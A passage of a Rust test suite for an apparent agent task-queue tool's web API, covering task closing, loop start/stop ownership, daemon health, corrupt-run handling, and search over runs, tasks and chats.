18664        assert_eq!(reloaded.created_at, created_at);
18665    }
18666
18667    #[tokio::test]
18668    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
18669        // `done` is allowed on any status, including `held`, with no release
18670        // in between - so a task held for a reason and then closed directly
18671        // must not keep reading as "waiting on" it afterwards, on its card or
18672        // in `magi task show`.
18673        let f = Fixture::start().await;
18674        let queue = f.queue();
18675        let mut task = Task::new(
18676            "landed while held".to_owned(),
18677            "x".to_owned(),
18678            PathBuf::from("/repo/magi"),
18679            Source::Human,
18680        );
18681        task.hold_manual(Some("waiting on 3ed9".to_owned()));
18682        queue.put(&mut task).expect("file the held task");
18683
18684        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18685        assert_eq!(done.status, 200, "{}", done.body);
18686        assert_eq!(done.json()["status_str"], "done");
18687        assert!(
18688            done.json()["hold_reason"].is_null(),
18689            "a done task cannot still be waiting on something: {}",
18690            done.body
18691        );
18692    }
18693
18694    #[tokio::test]
18695    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
18696        // `queue_done` is the phone's way to close a task the loop never
18697        // settled itself - after confirming a manual GitHub merge, say - and
18698        // that is just as much "this task's story is over" as the loop's own
18699        // `Merged`/`Ready` path, so it must trigger the same cleanup.
18700        let f = Fixture::start().await;
18701        let queue = f.queue();
18702        let runs = f.runs();
18703        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
18704        // The last attempt has to have actually landed for the earlier one
18705        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
18706        // for the case where it didn't.
18707        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
18708
18709        let mut task = Task::new(
18710            "landed by hand".to_owned(),
18711            "x".to_owned(),
18712            PathBuf::from("/repo/magi"),
18713            Source::Human,
18714        );
18715        task.runs.push("20260101-000000-doa1".to_owned());
18716        task.runs.push("20260101-000000-doa2".to_owned());
18717        queue.put(&mut task).expect("file the task");
18718
18719        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18720        assert_eq!(done.status, 200, "{}", done.body);
18721
18722        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
18723            .expect("run still on disk under this fixture's own home");
18724        assert_eq!(
18725            reloaded_run.status,
18726            RunStatus::Superseded,
18727            "closing the task by hand must relabel the earlier blocked attempt exactly \
18728             like the loop's own settle path does"
18729        );
18730    }
18731
18732    #[tokio::test]
18733    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
18734        // Closing a task by hand is allowed from any status, including one
18735        // whose last recorded attempt is itself still `Blocked`/`Failed` - a
18736        // manual merge the loop never watched, say. Nothing here is provably
18737        // why the task is done, so nothing earlier gets relabelled either.
18738        let f = Fixture::start().await;
18739        let queue = f.queue();
18740        let runs = f.runs();
18741        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
18742        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
18743
18744        let mut task = Task::new(
18745            "closed with nothing actually landed".to_owned(),
18746            "x".to_owned(),
18747            PathBuf::from("/repo/magi"),
18748            Source::Human,
18749        );
18750        task.runs.push("20260101-000000-dob1".to_owned());
18751        task.runs.push("20260101-000000-dob2".to_owned());
18752        queue.put(&mut task).expect("file the task");
18753
18754        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18755        assert_eq!(done.status, 200, "{}", done.body);
18756
18757        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
18758            .expect("run still on disk under this fixture's own home");
18759        assert_eq!(
18760            reloaded_run.status,
18761            RunStatus::Blocked,
18762            "the last recorded attempt never landed, so the earlier one must not be \
18763             relabelled as superseded by it"
18764        );
18765    }
18766
18767    #[tokio::test]
18768    async fn unknown_ids_are_json_not_found_on_both_stores() {
18769        let f = Fixture::start().await;
18770
18771        let run = f.get("/api/runs/nosuchrun").await;
18772        let task = f.post("/api/queue/nosuchtask/hold", None).await;
18773
18774        assert_eq!(run.status, 404);
18775        assert_eq!(task.status, 404);
18776        assert!(
18777            run.json()["error"]
18778                .as_str()
18779                .is_some_and(|e| e.contains("run")),
18780            "the error names what was not found: {}",
18781            run.body
18782        );
18783        assert!(
18784            task.json()["error"]
18785                .as_str()
18786                .is_some_and(|e| e.contains("task")),
18787            "the error names what was not found: {}",
18788            task.body
18789        );
18790    }
18791
18792    #[tokio::test]
18793    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
18794        let f = Fixture::start().await;
18795
18796        let missing = f.get("/api/health").await.json();
18797        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
18798
18799        write_daemon(
18800            f.home.path(),
18801            Timestamp::now() - jiff::SignedDuration::from_secs(60),
18802        );
18803        let stale = f.get("/api/health").await.json();
18804        assert_eq!(
18805            stale["daemon"]["running"], false,
18806            "a minute without a heartbeat is a dead daemon, not a busy one"
18807        );
18808        assert!(
18809            stale["daemon"]["stale_for_secs"]
18810                .as_i64()
18811                .is_some_and(|s| s >= 55),
18812            "staleness is reported so the UI can say how long: {stale}"
18813        );
18814
18815        write_daemon(f.home.path(), Timestamp::now());
18816        let fresh = f.get("/api/health").await.json();
18817        assert_eq!(fresh["daemon"]["running"], true);
18818        assert_eq!(fresh["daemon"]["idle"], false);
18819        assert_eq!(fresh["daemon"]["pid"], 4242);
18820        assert_eq!(fresh["daemon"]["completed"], 7);
18821        assert_eq!(
18822            fresh["daemon"]["current"][0]["task"],
18823            "20260902-140501-aaaa"
18824        );
18825        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
18826    }
18827
18828    #[tokio::test]
18829    async fn the_loop_is_not_running_until_something_starts_it() {
18830        let f = Fixture::start().await;
18831
18832        let view = f.get("/api/loop").await.json();
18833        assert_eq!(view["running"], false);
18834        assert_eq!(
18835            view["owned"], false,
18836            "nobody owns a loop that does not exist: {view}"
18837        );
18838        assert_eq!(view["stopping"], false);
18839        assert_eq!(view["last_error"], Value::Null);
18840        assert_eq!(view["daemon"]["running"], false);
18841        assert_eq!(
18842            view["repo"], "/repo/magi",
18843            "the repository a start would use, named before it is started"
18844        );
18845    }
18846
18847    #[tokio::test]
18848    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
18849        let f = Fixture::start().await;
18850
18851        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18852        assert_eq!(res.status, 200, "{}", res.body);
18853        let view = res.json();
18854        assert_eq!(view["running"], true);
18855        assert_eq!(
18856            view["owned"], true,
18857            "the loop the UI started is the UI's own to stop: {view}"
18858        );
18859        assert_eq!(
18860            view["merge"],
18861            Value::Null,
18862            "no override was given, so each repository's own config decides"
18863        );
18864
18865        // The same object from the route a waking phone polls first. Two
18866        // surfaces disagreeing about whether anything is running is exactly
18867        // the confusion this UI exists to remove.
18868        let health = f.get("/api/health").await.json();
18869        assert_eq!(health["loop"]["running"], true, "{health}");
18870        assert_eq!(health["loop"]["owned"], true, "{health}");
18871
18872        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18873    }
18874
18875    #[tokio::test]
18876    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
18877        let f = Fixture::start().await;
18878        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18879        assert_eq!(first.status, 200, "{}", first.body);
18880
18881        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18882        assert_eq!(
18883            again.status, 409,
18884            "two loops on one queue race for the same claims: {}",
18885            again.body
18886        );
18887        assert!(
18888            again.json()["error"]
18889                .as_str()
18890                .is_some_and(|e| e.contains("already running the loop")),
18891            "the refusal has to say why: {}",
18892            again.body
18893        );
18894        assert_eq!(
18895            f.get("/api/loop").await.json()["running"],
18896            true,
18897            "and the loop that was already running is untouched by it"
18898        );
18899
18900        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18901    }
18902
18903    #[tokio::test]
18904    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
18905        let f = Fixture::start().await;
18906        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18907
18908        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18909        assert_eq!(
18910            res.status, 200,
18911            "the answer must not wait for the loop: a run in flight is tens of \
18912             minutes and the operator is holding a phone: {}",
18913            res.body
18914        );
18915
18916        let view = settled(&f, |v| v["running"] == false).await;
18917        assert_eq!(view["owned"], false);
18918        assert_eq!(
18919            view["stopping"], false,
18920            "a loop that has stopped is not still stopping: {view}"
18921        );
18922        assert_eq!(
18923            view["last_error"],
18924            Value::Null,
18925            "a loop that was asked to stop did not fail: {view}"
18926        );
18927
18928        // Idempotent, because the operator cannot tell a slow stop from a lost
18929        // one and will press it again.
18930        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18931        assert_eq!(twice.status, 200, "{}", twice.body);
18932    }
18933
18934    #[tokio::test]
18935    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
18936        let f = Fixture::start().await;
18937        // How the operator has been doing it: a `magi serve` of their own,
18938        // heartbeat fresh, in the same home this UI reads.
18939        write_daemon(f.home.path(), Timestamp::now());
18940
18941        let view = f.get("/api/loop").await.json();
18942        assert_eq!(view["running"], false, "not in this process: {view}");
18943        assert_eq!(view["owned"], false, "and not this process's to control");
18944        assert_eq!(
18945            view["daemon"]["running"], true,
18946            "but a loop is alive somewhere, which is what the UI must say"
18947        );
18948        assert_eq!(view["daemon"]["pid"], 4242);
18949
18950        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
18951            let res = f.post("/api/loop", Some(body)).await;
18952            assert_eq!(
18953                res.status, 409,
18954                "neither button may pretend to work on someone else's loop: {}",
18955                res.body
18956            );
18957            assert!(
18958                res.json()["error"]
18959                    .as_str()
18960                    .is_some_and(|e| e.contains("4242")),
18961                "the refusal has to name the process the operator must go to: {}",
18962                res.body
18963            );
18964        }
18965        assert_eq!(
18966            f.get("/api/loop").await.json()["running"],
18967            false,
18968            "and the refusal started nothing"
18969        );
18970    }
18971
18972    #[tokio::test]
18973    async fn a_stale_status_file_is_not_a_foreign_owner() {
18974        let f = Fixture::start().await;
18975        write_daemon(
18976            f.home.path(),
18977            Timestamp::now() - jiff::SignedDuration::from_secs(60),
18978        );
18979
18980        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18981        assert_eq!(
18982            res.status, 200,
18983            "a daemon killed a minute ago must not lock the loop out of its \
18984             own home for good: {}",
18985            res.body
18986        );
18987        assert_eq!(res.json()["running"], true);
18988
18989        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18990    }
18991
18992    #[tokio::test]
18993    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
18994        let f = Fixture::start().await;
18995        let before = f.get("/api/health").await.json()["loop_rev"]
18996            .as_u64()
18997            .expect("a loop revision");
18998
18999        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19000
19001        let after = f.get("/api/health").await.json()["loop_rev"]
19002            .as_u64()
19003            .expect("a loop revision");
19004        assert!(
19005            after > before,
19006            "the loop is in-process state, so this counter is the only thing \
19007             that tells a second device the first one started it: {before} -> \
19008             {after}"
19009        );
19010
19011        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19012    }
19013
19014    #[tokio::test]
19015    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
19016        let f = Fixture::with_loop(launch_broken).await;
19017
19018        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19019        assert_eq!(
19020            res.status, 200,
19021            "starting it is not the failure: {}",
19022            res.body
19023        );
19024
19025        let view = settled(&f, |v| v["last_error"].is_string()).await;
19026        assert_eq!(
19027            view["running"], false,
19028            "a loop that died must not read as running, or the operator has \
19029             nothing to press: {view}"
19030        );
19031        assert_eq!(view["owned"], false);
19032        assert!(
19033            view["last_error"]
19034                .as_str()
19035                .is_some_and(|e| e.contains("read-only file system")),
19036            "the phone is where a loop that died at 3am is visible: {view}"
19037        );
19038
19039        // And it can be started again: the corpse was reaped, not left to
19040        // occupy the slot.
19041        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19042        assert_eq!(again.status, 200, "{}", again.body);
19043        assert!(
19044            again.json()["last_error"]
19045                .as_str()
19046                .is_none_or(|e| !e.contains("read-only file system")),
19047            "a fresh start does not keep showing why the last one died: {}",
19048            again.body
19049        );
19050    }
19051
19052    #[tokio::test]
19053    async fn a_newer_daemon_status_file_still_renders() {
19054        let f = Fixture::start().await;
19055        // A field this build has never heard of must not turn the status line
19056        // into a 500; that is the whole reason the reader is permissive.
19057        std::fs::write(
19058            f.home.path().join("daemon.json"),
19059            serde_json::json!({
19060                "schema": 2,
19061                "updated_at": Timestamp::now().to_string(),
19062                "idle": true,
19063                "surprise": { "nested": [1, 2, 3] },
19064            })
19065            .to_string(),
19066        )
19067        .expect("write daemon.json");
19068
19069        let health = f.get("/api/health").await;
19070
19071        assert_eq!(health.status, 200);
19072        assert_eq!(health.json()["daemon"]["running"], true);
19073    }
19074
19075    #[tokio::test]
19076    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
19077        let f = Fixture::start().await;
19078        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
19079        let broken = f.runs().join("20260902-140502-bad");
19080        std::fs::create_dir_all(&broken).expect("run dir");
19081        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
19082
19083        let list = f.get("/api/runs").await;
19084        let detail = f.get("/api/runs/20260902-140502-bad").await;
19085
19086        assert_eq!(list.status, 200);
19087        let listed = list.json();
19088        let ids: Vec<&str> = listed
19089            .as_array()
19090            .expect("an array")
19091            .iter()
19092            .map(|r| r["id"].as_str().expect("an id"))
19093            .collect();
19094        assert_eq!(
19095            ids,
19096            vec!["20260902-140501-good"],
19097            "one unreadable run must not cost the operator the whole history"
19098        );
19099        assert_eq!(detail.status, 500);
19100        assert!(
19101            detail.json()["error"]
19102                .as_str()
19103                .is_some_and(|e| e.contains("run.json")),
19104            "the failure names the file to look at: {}",
19105            detail.body
19106        );
19107        // A skipped run has to be countable somewhere, or the UI shows an
19108        // empty history with nothing to explain it - which is exactly what a
19109        // directory full of older-schema runs looks like.
19110        let health = f.get("/api/health").await;
19111        assert_eq!(health.json()["runs_unreadable"], 1);
19112    }
19113
19114    /// Search matches nested run text, ANDs its terms and counts unreadable runs.
19115    #[tokio::test]
19116    async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
19117        let f = Fixture::start().await;
19118        let runs = f.runs();
19119        write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
19120        write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
19121        // Text three levels down, in a shape no current RunState has: an older
19122        // schema must still search.
19123        let path = runs.join("20260902-140502-bbbb").join("run.json");
19124        let mut v: serde_json::Value =
19125            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19126        v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
19127        std::fs::write(&path, v.to_string()).unwrap();
19128        std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
19129        std::fs::write(
19130            runs.join("20260902-140503-cccc").join("run.json"),
19131            "{ not json",
19132        )
19133        .unwrap();
19134
19135        let res = f.get("/api/search?scope=runs&q=quokka").await;
19136        assert_eq!(res.status, 200, "{}", res.body);
19137        let v = res.json();
19138        assert_eq!(v["total"], 1, "{v}");
19139        assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
19140        assert_eq!(v["hits"][0]["field"], "text");
19141        assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
19142        let parts = v["hits"][0]["snippet"].as_array().unwrap();
19143        assert!(
19144            parts
19145                .iter()
19146                .any(|p| p["hit"] == true && p["text"] == "Quokka"),
19147            "{v}"
19148        );
19149        let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
19150        assert_eq!(
19151            flat, "The Quokka leaks across threads",
19152            "whitespace is collapsed"
19153        );
19154
19155        // Terms are ANDed, across different fields, case-insensitively.
19156        let both = f
19157            .get("/api/search?scope=runs&q=MOBILE%20quokka")
19158            .await
19159            .json();
19160        assert_eq!(both["total"], 1, "{both}");
19161        let neither = f
19162            .get("/api/search?scope=runs&q=quokka%20zebra")
19163            .await
19164            .json();
19165        assert_eq!(neither["total"], 0, "{neither}");
19166        // Everything in the task statement is reachable, not only the row text.
19167        let stmt = f
19168            .get("/api/search?scope=runs&q=mobile%20first")
19169            .await
19170            .json();
19171        assert_eq!(stmt["total"], 2, "{stmt}");
19172        let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
19173        assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
19174    }
19175
19176    #[test]
19177    fn snippet_ignores_terms_longer_than_the_field() {
19178        let terms = ["ok".to_owned(), "elephant".to_owned()];
19179        let parts = snippet_of("ok", &terms);
19180        assert_eq!(
19181            parts,
19182            vec![SnippetPart {
19183                text: "ok".to_owned(),
19184                hit: true
19185            }]
19186        );
19187    }
19188
19189    #[test]
19190    fn snippet_marks_matches_longer_than_the_window() {
19191        let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
19192        let hit_len = |parts: &[SnippetPart]| -> usize {
19193            parts
19194                .iter()
19195                .filter(|p| p.hit)
19196                .map(|p| p.text.chars().count())
19197                .sum()
19198        };
19199        let total =
19200            |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
19201
19202        let long = "a".repeat(120);
19203        let parts = snippet_of(&long, std::slice::from_ref(&long));
19204        assert!(hit_len(&parts) > 0, "{parts:?}");
19205        assert!(total(&parts) <= cap);
19206
19207        let ja = "あ".repeat(130);
19208        let parts = snippet_of(&ja, std::slice::from_ref(&ja));
19209        assert!(hit_len(&parts) > 0, "{parts:?}");
19210        assert!(total(&parts) <= cap);
19211
19212        // A short hit, then one straddling the window's end.
19213        let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
19214        let term = format!("ab{}", "c".repeat(100));
19215        let parts = snippet_of(&text, &["ab ".to_owned(), term]);
19216        assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
19217        assert!(total(&parts) <= cap);
19218
19219        // Only the head matches: not highlighted.
19220        let text = format!("{}z", "a".repeat(119));
19221        let parts = snippet_of(&text, &["a".repeat(120)]);
19222        assert_eq!(hit_len(&parts), 0, "{parts:?}");
19223    }
19224
19225    #[tokio::test]
19226    async fn search_caps_hits_and_snippet_length() {
19227        let f = Fixture::start().await;
19228        let runs = f.runs();
19229        for n in 0..(SEARCH_MAX_HITS + 5) {
19230            write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
19231        }
19232        let v = f.get("/api/search?scope=runs&q=web").await.json();
19233        assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
19234        assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
19235        assert_eq!(v["truncated"], true);
19236        // Every listed run hit carries its list row for the page's filters.
19237        assert!(
19238            v["hits"]
19239                .as_array()
19240                .unwrap()
19241                .iter()
19242                .all(|h| h["run"]["status"] == "merged")
19243        );
19244
19245        let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
19246        let parts = snippet_of(&long, &["needle".to_owned()]);
19247        let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
19248        assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
19249        assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
19250    }
19251
19252    #[tokio::test]
19253    async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
19254        let f = Fixture::start().await;
19255        let queue = f.queue();
19256        let mut t = Task::new(
19257            "short title".to_owned(),
19258            "line one\nthe hidden Armadillo detail".to_owned(),
19259            PathBuf::from("/repo/magi"),
19260            Source::Agent {
19261                run: "r1".to_owned(),
19262                node: "chat".to_owned(),
19263            },
19264        );
19265        t.last_error = Some("disk full on /tmp".to_owned());
19266        queue.put(&mut t).expect("file the task");
19267
19268        for (q, want) in [
19269            ("armadillo", 1),
19270            ("disk%20FULL", 1),
19271            ("chat", 1),
19272            ("queued", 1),
19273            ("short%20nothing", 0),
19274        ] {
19275            let v = f
19276                .get(&format!("/api/search?scope=tasks&q={q}"))
19277                .await
19278                .json();
19279            assert_eq!(v["total"], want, "{q}: {v}");
19280        }
19281        for bad in [
19282            "/api/search?scope=tasks&q=",
19283            "/api/search?scope=tasks&q=%20",
19284            "/api/search?scope=chats&q=",
19285            "/api/search?scope=chats&q=%20",
19286            "/api/search?scope=nope&q=a",
19287            "/api/search?q=a",
19288        ] {
19289            assert_eq!(f.get(bad).await.status, 400, "{bad}");
19290        }
19291    }
19292
19293    /// Write one conversation file the way the store reads it back.
19294    fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
19295        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
19296            .expect("seat value");
19297        let turns: Vec<serde_json::Value> = turns
19298            .iter()
19299            .map(|(who, body)| {
19300                serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
19301            })
19302            .collect();
19303        let doc = serde_json::json!({
19304            "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
19305            "status": status, "turns": turns,
19306            "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
19307            "seat": seat,
19308        });
19309        let dir = f.home.path().join("talks");
19310        std::fs::create_dir_all(&dir).expect("talks dir");
19311        std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
19312    }
19313
19314    #[test]
19315    fn chat_search_prefers_the_saved_title_and_keeps_the_transcript() {
19316        let mut talk: Talk = serde_json::from_value(serde_json::json!({
19317            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
19318            "status": "open", "turns": [{"who":"operator", "body":"古い話題", "at":"2026-09-08T20:58:02Z"}],
19319            "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:58:02Z",
19320            "seat": crate::agent::SeatState::new("talk", "test", 1)
19321        })).unwrap();
19322        assert_eq!(talk_search_doc(&talk)["title"], "古い話題");
19323        talk.title = Some(talk::ChatTitle {
19324            text: "最近の話題".into(),
19325            source: talk::TitleSource::Generated,
19326        });
19327        let doc = talk_search_doc(&talk);
19328        assert_eq!(doc["title"], "最近の話題");
19329        assert_eq!(doc["turns"][0]["operator"], "古い話題");
19330        talk.title.as_mut().unwrap().source = talk::TitleSource::Manual;
19331        assert_eq!(talk_search_doc(&talk)["title"], "最近の話題");
19332    }
19333
19334    #[test]
19335    fn chat_search_labels_external_turns_and_messages_without_operator_attribution() {
19336        let mut talk = talk::seeded_for_test("external", PathBuf::from("."));
19337        talk.title = Some(talk::ChatTitle {
19338            text: "Saved title".into(),
19339            source: talk::TitleSource::Manual,
19340        });
19341        talk.turns = serde_json::from_value(serde_json::json!([
19342            {
19343                "who": "operator", "sender": "external", "body": "External plain",
19344                "at": "2026-09-08T20:58:02Z"
19345            },
19346            {
19347                "who": "operator", "body": "External message",
19348                "at": "2026-09-08T20:58:03Z",
19349                "messages": [{
19350                    "sender": "external", "body": "External message", "attachments": []
19351                }]
19352            }
19353        ]))
19354        .unwrap();
19355        let doc = talk_search_doc(&talk);
19356        assert_eq!(doc["turns"][0]["external"], "External plain");
19357        assert_eq!(doc["turns"][1]["external"], "External message");
19358        assert!(doc["turns"][0].get("operator").is_none());
19359        assert!(doc["turns"][1].get("operator").is_none());
19360        let hit = search_chat(&search_terms("message"), &talk).unwrap();
19361        assert_eq!(hit.field, "external");
19362        let target = hit.target.unwrap();
19363        assert_eq!((target.turn, target.message), (1, 0));
19364    }
19365
19366    #[test]
19367    fn chat_search_targets_the_snippet_message_and_preserves_document_matching() {
19368        let talk: Talk = serde_json::from_value(serde_json::json!({
19369            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
19370            "status": "open", "title": {"text":"Saved title", "source":"manual"},
19371            "turns": [{"who":"operator", "body":"First message\n\nSearch 運用", "at":"2026-09-08T20:58:02Z",
19372                "messages":[{"body":"First message", "attachments":[], "reply":null},
19373                            {"body":"Search 運用", "attachments":[], "reply":null}]},
19374                {"who":"agent", "body":"Another term", "at":"2026-09-08T20:59:02Z"}],
19375            "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:59:02Z",
19376            "seat": crate::agent::SeatState::new("talk", "test", 1)
19377        })).unwrap();
19378        let hit = search_chat(&search_terms("運用 Another"), &talk).unwrap();
19379        let target = hit.target.unwrap();
19380        assert_eq!((target.turn, target.message), (0, 1));
19381        assert_eq!(target.text, chat_text_key("Search 運用"));
19382        assert_eq!(
19383            hit.snippet,
19384            snippet_of("Search 運用", &search_terms("運用 Another"))
19385        );
19386        assert!(
19387            search_chat(&search_terms("Saved"), &talk)
19388                .unwrap()
19389                .target
19390                .is_none()
19391        );
19392        assert!(
19393            search_chat(&search_terms("ab12"), &talk)
19394                .unwrap()
19395                .target
19396                .is_none()
19397        );
19398        // All terms may still match across separate display rows.
19399        assert!(search_chat(&search_terms("message Search"), &talk).is_some());
19400        assert!(search_chat(&search_terms("messageSearch"), &talk).is_none());
19401    }
19402
19403    #[test]
19404    fn chat_search_targets_opener_derived_titles() {
19405        let mut talk: Talk = serde_json::from_value(serde_json::json!({
19406            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
19407            "status": "open", "turns": [
19408                {"who":"agent", "body":"Welcome", "at":"2026-09-08T20:58:01Z"},
19409                {"who":"operator", "body":"\n 運用について\nDetails", "at":"2026-09-08T20:58:02Z"},
19410                {"who":"agent", "body":"Latest reply", "at":"2026-09-08T20:59:02Z"}],
19411            "created_at": "2026-09-08T20:58:01Z", "updated_at": "2026-09-08T20:59:02Z",
19412            "seat": crate::agent::SeatState::new("talk", "test", 1)
19413        }))
19414        .unwrap();
19415        let terms = search_terms("運用");
19416        let hit = search_chat(&terms, &talk).unwrap();
19417        assert_eq!(hit.field, "title");
19418        assert_eq!(hit.snippet, snippet_of("運用について", &terms));
19419        let target = hit.target.unwrap();
19420        assert_eq!((target.turn, target.message), (1, 0));
19421        assert_eq!(target.text, chat_text_key(&talk.turns[1].body));
19422        // A blank first send can put the opener line in a later display row.
19423        talk.turns[1].messages = serde_json::from_value(serde_json::json!([
19424            {"body":"", "attachments":[], "reply":null},
19425            {"body":" 運用について\nDetails", "attachments":[], "reply":null}
19426        ]))
19427        .unwrap();
19428        let target = search_chat(&terms, &talk).unwrap().target.unwrap();
19429        assert_eq!((target.turn, target.message), (1, 1));
19430        assert_eq!(target.text, chat_text_key(" 運用について\nDetails"));
19431        talk.title = Some(talk::ChatTitle {
19432            text: "運用について".into(),
19433            source: talk::TitleSource::Manual,
19434        });
19435        assert!(search_chat(&terms, &talk).unwrap().target.is_none());
19436    }
19437
19438    #[tokio::test]
19439    async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
19440        let f = Fixture::start().await;
19441        write_talk(
19442            &f,
19443            "20260901-000001-aaaa",
19444            "open",
19445            &[
19446                (
19447                    "operator",
19448                    "\n  Why does the Pangolin cache expire?\nsecond line",
19449                ),
19450                ("agent", "Because the TTL is thirty seconds."),
19451            ],
19452        );
19453        write_talk(
19454            &f,
19455            "20260901-000002-bbbb",
19456            "closed",
19457            &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
19458        );
19459        std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
19460
19461        let search = |q: &'static str| {
19462            let f = &f;
19463            async move {
19464                f.get(&format!("/api/search?scope=chats&q={q}"))
19465                    .await
19466                    .json()
19467            }
19468        };
19469
19470        let v = search("PANGOLIN").await;
19471        assert_eq!(v["scope"], "chats");
19472        assert_eq!(v["total"], 1, "{v}");
19473        assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
19474        assert_eq!(v["hits"][0]["field"], "title");
19475        assert_eq!(v["unreadable"], 1, "{v}");
19476        let marked: Vec<&str> = v["hits"][0]["snippet"]
19477            .as_array()
19478            .unwrap()
19479            .iter()
19480            .filter(|p| p["hit"] == true)
19481            .map(|p| p["text"].as_str().unwrap())
19482            .collect();
19483        assert_eq!(marked, ["Pangolin"]);
19484
19485        // An agent turn, in a closed conversation.
19486        let v = search("zebra").await;
19487        assert_eq!(v["total"], 1, "{v}");
19488        assert_eq!(v["hits"][0]["field"], "agent");
19489        // Words may sit in different turns; all must be present.
19490        assert_eq!(search("pangolin%20thirty").await["total"], 1);
19491        assert_eq!(search("pangolin%20zebra").await["total"], 0);
19492        // Bookkeeping is not searched.
19493        for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
19494            assert_eq!(search(q).await["total"], 0, "{q}");
19495        }
19496        // The first line only is the title; the second line is still a turn.
19497        assert_eq!(search("second").await["hits"][0]["field"], "operator");
19498        // Open conversations are listed before closed ones.
19499        assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
19500
19501        let v = f.get("/api/search?scope=nope&q=a").await;
19502        assert_eq!(v.status, 400);
19503        assert!(
19504            v.body.contains("scope must be runs, tasks or chats"),
19505            "{}",
19506            v.body
19507        );
19508    }
19509
19510    #[test]
19511    fn a_question_card_links_a_task_id_to_the_task_page() {
19512        let start = APP_JS
19513            .find("function updateAskCard(")
19514            .expect("updateAskCard exists");
19515        let body = &APP_JS[start..];
19516        let body = &body[..body.find("\n}\n").expect("function end")];
19517        assert!(body.contains("question.run_is_task"));
19518        assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
19519        assert!(body.contains("`#/runs/${question.run}`"));
19520        assert!(body.contains("\"task\" : \"run\""));
19521    }
19522
19523    #[test]
19524    fn plain_text_message_surfaces_go_through_linkify() {
